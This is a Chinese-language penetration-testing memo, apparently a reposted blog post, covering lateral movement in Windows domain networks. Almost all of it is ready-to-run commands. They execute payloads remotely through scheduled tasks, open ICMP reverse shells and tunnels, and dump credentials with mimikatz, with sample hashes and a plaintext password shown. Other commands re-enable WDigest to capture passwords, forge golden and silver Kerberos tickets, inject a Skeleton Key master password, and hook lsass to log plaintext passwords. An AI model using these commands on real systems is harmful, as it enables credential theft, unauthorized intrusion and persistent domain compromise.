admin管理员组文章数量:1639838
内网主机存存活探测
利用ICMP协议探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I |findstr "TTL="
利用域来查询内网存活主机
net view /domain:域名
内网横向相关系统命令记录
IPC
建立IPC$连接
net use \\192.168.100.100\ipc$ "1234556" /user:administrator
查看当前连接
net use
列出远程主机文件
dir \\192.168.100.100\c$
列出目标机器上运行的进程
tasklist -S 192.168.100.100 /U administrator /P 12345
tasklist -S 192.168.100.100#交互模式
利用计划任务执行payload
>>>net time \\192.168.100.100 #查看远程主机的系统时间
>>>copy calc.bat \\192.168.100.100\C$ #拷贝文件到目标服务器C盘
>>>at \\192.168.100.100 4:11PM C:\calc.bat #at在老版本系统才有
>>>at \\192.168.100.100 任务ID /delete
>>> schtasks /create /s 192.168.100.100 /tn test /sc onstart /tr c:\calc.bat /ru system /f#在远程主机上创建一个名称为”test"的计划任务,启动权限为system,在开机的时候启动
>>>schtasks /create /tn test /tr c:\calc.bat /sc once /st 20:00:00 /sd 2021/04/27
内网渗透相关工具记录
icmpsh
icmpsh工具使用简单,服务端的run.sh脚本需要改点代码,但是最方便还是直接使用icmp.py 本机ip 目的ip这样用,目标主机上的icmpsh不需要管理员执行,无法解决乱码,icmp包大小不一,明文显示.icmpsh工具可以作为shell反弹使用
服务端
>>>sysctl -w net.ipv4.icmp_echo_ignore_all=1
>>> ./run.sh或者imcp.py src_ip dst_ip
客户端
icmpsh.exe -t 服务端Ip -d 500 -b 30 -s 128
PingTunnel
这个工具好处就是可以做端口转发,为连接设置密码,将其他端口的流量通过ICMP隧道转发出来,存在一定的使用限制
服务端安装
>>>tar xf PingTunnel-0.72.tar.gz
>>>cd PingTunnel &&make &&make intall #可能需要安装libpcap和byacc依赖
跳板机开启隧道
>>>ptunnel -x mima(-x 后面是密码)
客户端IP访问跳板机IP并设置转发给目标IP及端口
>>>ptunnel -p 跳板机IP -lp 1080 -da 目标IP -dp 3389 -x mima # 客户端上面执行此命令,通过客户端1080端口的流量都会被转发给跳板机IP(跳板机不需要设置监听端口,原里就是这一层用的是icmp协议)并且被跳板机转发给目标机器的3389
- -x:指定ICMP隧道连接的验证密码
- -lp:指定要监听的本地端口
- -da:指定要转发的目标机器的IP地址
- -dp:指定要转发的目标机器的TCP端口
- -p:指定icmp隧道另一端的跳板机的IP地址
mimikatz的使用
该工具能内存中提取明文密码(低版本系统)、散列值、PIN、kerberos票据
基本用法
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi )
'## v ##' https://blog.gentilkiwi/mimikatz (oe.eo)
'#####' with 13 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
...
其他用法:
1.使用mimikatz读取离机的SAM和system文件,从目标系统中导出system.hive和sam.hive文件放在和mimikatz同目录下,运行mimikatz,输入命令如下命令:lsadump::sam /sam:sam.hive /system:system.hive
2.使用mimikat直接读取本地的SAM
>>>mimikatz
mimikataz# privilege::debug#提升权限
mimikataz# token::elevate #将权限提升至system
mimikataz# lsadump::sam #读取本地SAM ,获得NTLM hash
微软为了防止用户密码被这样的明文抓取,发布了补丁:KB2871997,关闭wdigest功能,因此对于2012及以上的系统使用mimikatz要打开wdigest,2012以下的系统,也要提前判断KB2871997这个补丁是否安装
REG开启wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDIGEST /v UseLoginCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDIGEST /v UseLoginCredential /t REG_DWORD /d 0 /f
使用powershell开启wdigest
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLoginCredential -Type DWORD -Value 1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLoginCredential -Type DWORD -Value 0 #使用powershell关闭wdigest
哈希传递攻击
使用散列值传递进行攻击,简单点说就是有A,B两个机器,我们拿到了A机器的NTLMhash值,现在要做的就是把它导入到B机器,让B机器有用直接远程ipc远程A机器的能力,当然这个情况有一个悖论,就是我既然能拿到A的NTLMHash,我肯定已经拿到A的系统权限了,不过此法应该是可用于域账号哈希传递攻击
假设A机器 IP:192.168.100.205
域名 :pentest
用户名 :administrator
NTLM Hash: 683020925C5D8569C23AA724774CE6CC
mimikatz# privilege::debug
mimikatz# sekurlsa::pth /user:adminstrator /domain:pentest /ntlm: 683020925C5D8569C23AA724774CE6CC
传说(没测试)对待打了KB2871997补丁的机器可以使用AES-256的密钥传递方式进行横向移动,因为打了这个补丁会强制aes-256密钥
1.目标机器获取AES-256密钥
mimikatz "privilege::debug" "sekurlsa::ekeys"
2.在远程目标机器的机器上,以管理员运行mimikatz
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest /aes256:3242342342342346526... "
票据传递攻击
和哈希不同,就是利用mimikagtz导出票据,优点是不需要像哈希传递一样,需要本地管理员权限
目标机器执行如下命令拿到票据:
mimikatz "privilege::debug" "sekurlsa::tickets /export"
执行上述命令会在当前目录下多次很多个服务的票据文件,例如krbtgt、cifs、ldap.在客户机使用mimikatz清除内存的票据,防止干扰:
mimikatz# kerberos::purge
导入票据(实际测试导入成功,但是权限并没有拿到,还不知道为啥)
mimikatz# kerberos::ptt 票据路径
MS14-068横向渗透
普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限,实际渗透过程中,这种方式应该更靠谱一点。利用已有的普通的域账号伪造一个高权限的域账号票据利用mimikatz导入
ms14-068.exe -u douser@demo -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
黄金票据权限维持
黄金票据权限较大,属于权限维持的一种手段,前提条件是拿到了krbtg的哈希
限制条件
- 需要知道一个域管理员用户名
- 需要知道完整的域名
- 域SID
- krbtgt的NTLM hash或AES-256值
假设我们拿到了SID 502的krbtgt,A机器为域控服务器,B机器为一台拿到管理员权限的普通客户机。具体操作流程如下:
1.A机器导出域控的krbtgt 哈希或者AES
mimikatz# lsadump::dcsync /domain:hacker.test /user:krbtgt #拷贝下来哈希和AES
>>>wmic useraccount get name,sid #获取域控SID和账户SID
>>>net group "domain admins" /domain #获取域管理员账号
2.B客户机器操作(需要管理员权限才能成功导入票据),实测需要当前进程保持,打开新的cmd并不会拿到权限,必须是当前的cmd的进程才被传递权限
mimikatz# kerberos::purge #清理B机器的当前票据
mimikatz# kerberos::golden /admin:Administrator /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /krbtgt:38eb3973d3f88ee8509beeddd48124dd /ticket:administrator.kiribi #生成黄金票据,实测需要高权限才行
mimikatz# kerberos:ptt administrator.kiribi #票据注入内存
mimikatz# kerberos::tgt #检索会话中的票据,判断是否导入成功
>>> dir \\dc\c$ #测试下是否拿到权限
mimikatz# kerberos::golden /admin:Administrator /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /aes256:38eb3973d3f88ee8509beeddd48123555435654543544124dd /ticket:administrator.kiribi #使用AES导入
白银票据权限维持
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加
隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
1.域名,域SID
2.目标服务器的FQDN
3.可利用的服务
4.该服务的账号的NTLM Hash
5.要伪造的用户名
案例:使用白银票据伪造CIFS服务权限,CIFS服务通常用于主机之间的文件共享
1.登录域控,抓取$账户的hash值,注意不是administrator
mimikatz# privilege::debug
sekurlsa::logonpasswords
找到$的ntlm值
2.切换到普通用户机器,使用mimikatz生成伪造的白银票据:
kerberos::golden /domain:DEMO /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
/sid:域的SID值
/rc4:server机器DC$的hash
/service:可利用的服务,这里是cifs
/user:要伪造的用户名,任意填写
/target:域控制器名,即FQDN(全称)
案例:使用白银票据伪造LDAP服务权限,利用伪造权限获取krbtgt的哈希,进而使用黄金票据
1.登录域控,判断当前权限能否获取krbtgt的hash
mimikatz# lsadump::dcsync /dc:dc.hacker.test /domain:hacker.test /user:krbtgt #权限不够的话会失败
,这时就需要伪造白银票据,注意只有LDAP服务才能使用dc命令
2.域控服务器找到DC$的NTLM hash
mimikatz# log "privilege::debug" "sekurlsa::logonpasswords" #log参与方便复制hash
mimikatz# kerberos::purge #清空系统内的票据
mimikatz# kerberos::golden /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /target:dc.hacker.test /service:LDAP /rc4:f0954d00b21d338aa86051eca90f7f74 /user:suibian /ptt #伪造一个白银票据,rc4为域控dc$账户的hash,伪造用户名随意
mimikatz# lsadump::dcsync /dc:dc.hacker.test /domain:hacker.test /user:krbtgt #重新尝试获取krbtgt的hash,实验顺利,可有权限获取
Skeleton Key(万能密码)
利用mimikatz自带的万能密码对域内权限进行持久化操作,目前测试需要管理员权限,64位系统,重启失效。
mimikatz# privilege::debug
mimikatz# misc::skeleton #返回显示KDC和RC4 OK即表示完成注入key,默认密码mimikatz
客户机操作如下命令,只能使用域名,用户名要带上域
nete use \\dc\ipc$ "mimikatz" /user:hacker\administrator
Hook PasswordChangeNotify
使用hoopasswordchange.dll做LSA的passwordFileter函数钩子,将明文密码保存至C:\Windows\Temp\passwords.txt
下
如下例子使用了powerspolit下的工具
>>>set-ExecutionPolicy bypass
>>>import-module .\Invoke-ReflectivePEInjection.ps1
>>>Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass#dll文件为另外一个作者写的,使用的时候需要手动上传
>>>cat c:\Windows\Temp\password.txt
版权声明:本文标题:内网渗透备忘录 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1729297716a1194828.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论